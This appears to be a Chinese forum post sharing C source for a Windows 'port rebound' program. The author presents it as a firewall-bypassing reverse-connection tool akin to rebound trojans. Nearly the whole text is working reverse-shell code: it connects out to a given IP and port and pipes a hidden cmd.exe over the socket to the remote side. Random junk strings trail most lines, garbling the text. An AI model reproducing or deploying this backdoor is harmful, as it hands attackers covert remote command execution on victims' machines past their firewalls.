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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 DNgQ.lV  
!U02>X   
/* ============================== Kd_WN;l  
Rebound port in Windows NT ++KY+j.^  
By wind,2006/7 3t(8uG<rL  
===============================*/ a S- rng  
#include NJYx.TL  
#include lYd#pNN  
vP G!S{4  
#pragma comment(lib,"wsock32.lib") {$iJYS\  
D3^[OHi~a  
void OutputShell(); Q9K+k*?{N  
SOCKET sClient; qa![oMKc  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =goZI67  
mB(*)PwZ  
void main(int argc,char **argv) `R@24 )  
{ UQ|zSalv,  
WSADATA stWsaData; H*QN/{|RU  
int nRet; uTJi }4cw  
SOCKADDR_IN stSaiClient,stSaiServer; <$liWAGX\  
hp(n;(OR  
if(argc != 3) }iy`Ko+B"b  
{  w'=#7$N  
printf("Useage:\n\rRebound DestIP DestPort\n"); H+zn:j@~L  
return; $"{V],:T |  
} 4Uz:zB  
$8&HpX#h$  
WSAStartup(MAKEWORD(2,2),&stWsaData); vg5zsR0u  
}\u~He%  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +N[dYm  
i7~oZ)w  
stSaiClient.sin_family = AF_INET; 4~a0   
stSaiClient.sin_port = htons(0); i:#R U^R  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); hE:P'O1  
mxHNK4/  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2W pe( \(  
{ BN4dr9T  
printf("Bind Socket Failed!\n"); M O5fu!  
return; *DkA$Eu3u  
} lGB7(  
nGW wXySq  
stSaiServer.sin_family = AF_INET; M;MD-|U  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ^F?H)[0  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); y<F$@  
]CC= \ <  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 62EJ# q[  
{ @ x*#7Y  
printf("Connect Error!"); dab>@z4  
return; ! # tRl  
} |0f\>X I  
OutputShell(); jo<sN  
} #bu`W!p}  
y8+?:=N.  
void OutputShell() 8KWT d  
{ XQ(`8Jl&^  
char szBuff[1024]; GWE`'V  
SECURITY_ATTRIBUTES stSecurityAttributes; lYw A5|+  
OSVERSIONINFO stOsversionInfo; {OAy@6 +  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; \f66ipZK*  
STARTUPINFO stStartupInfo; iI&SI#; _  
char *szShell; /HzhgMV3  
PROCESS_INFORMATION stProcessInformation; <2cq 0*$  
unsigned long lBytesRead; %aw/Y5  
xC;$/u%'  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ZQBo|8*  
McsqMI6  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); X_!mZ\H7  
stSecurityAttributes.lpSecurityDescriptor = 0; hChM hc  
stSecurityAttributes.bInheritHandle = TRUE; q }z,C{Wq<  
M2xUs  
=D[h0U  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); !d(!1fC  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); |e< U%v  
;? :,L  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 8=nm`7(]  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U'lmQrF!  
stStartupInfo.wShowWindow = SW_HIDE; ]hf4= gm  
stStartupInfo.hStdInput = hReadPipe; JR<R8+@g_  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; gdG: &{|x  
h,p&/oU4U  
GetVersionEx(&stOsversionInfo); 9hguC yr@h  
rLKDeB  
switch(stOsversionInfo.dwPlatformId) g<lX Xj2  
{ (/KF;J^M  
case 1: nVM`&azD  
szShell = "command.com"; 57MoO  
break; !CMN/=  
default: J2cNwhZ  
szShell = "cmd.exe"; [cW  
break; pF !vW  
} T]zjJwa  
~Igo 8ykl  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); QV 'y6m\  
ut,"[+ J  
send(sClient,szMsg,77,0); kt:%]ZZL  
while(1) >S3 >b  
{ T6,lk1S'=  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (Z5#;rgem  
if(lBytesRead) H5%I?ZXw4  
{ PJ.jgN(r  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); d!X?R}  
send(sClient,szBuff,lBytesRead,0); 3a#PA4Ql  
} pd4cg?K  
else _\dt?(m|  
{ BrJ o!@<  
lBytesRead=recv(sClient,szBuff,1024,0); g/8.W  
if(lBytesRead<=0) break; K DYYB6|  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Gz>Lqd  
} K8 b+   
} ohrw\<xsu  
g .x=pt  
return; \Z)#lF|^  
}
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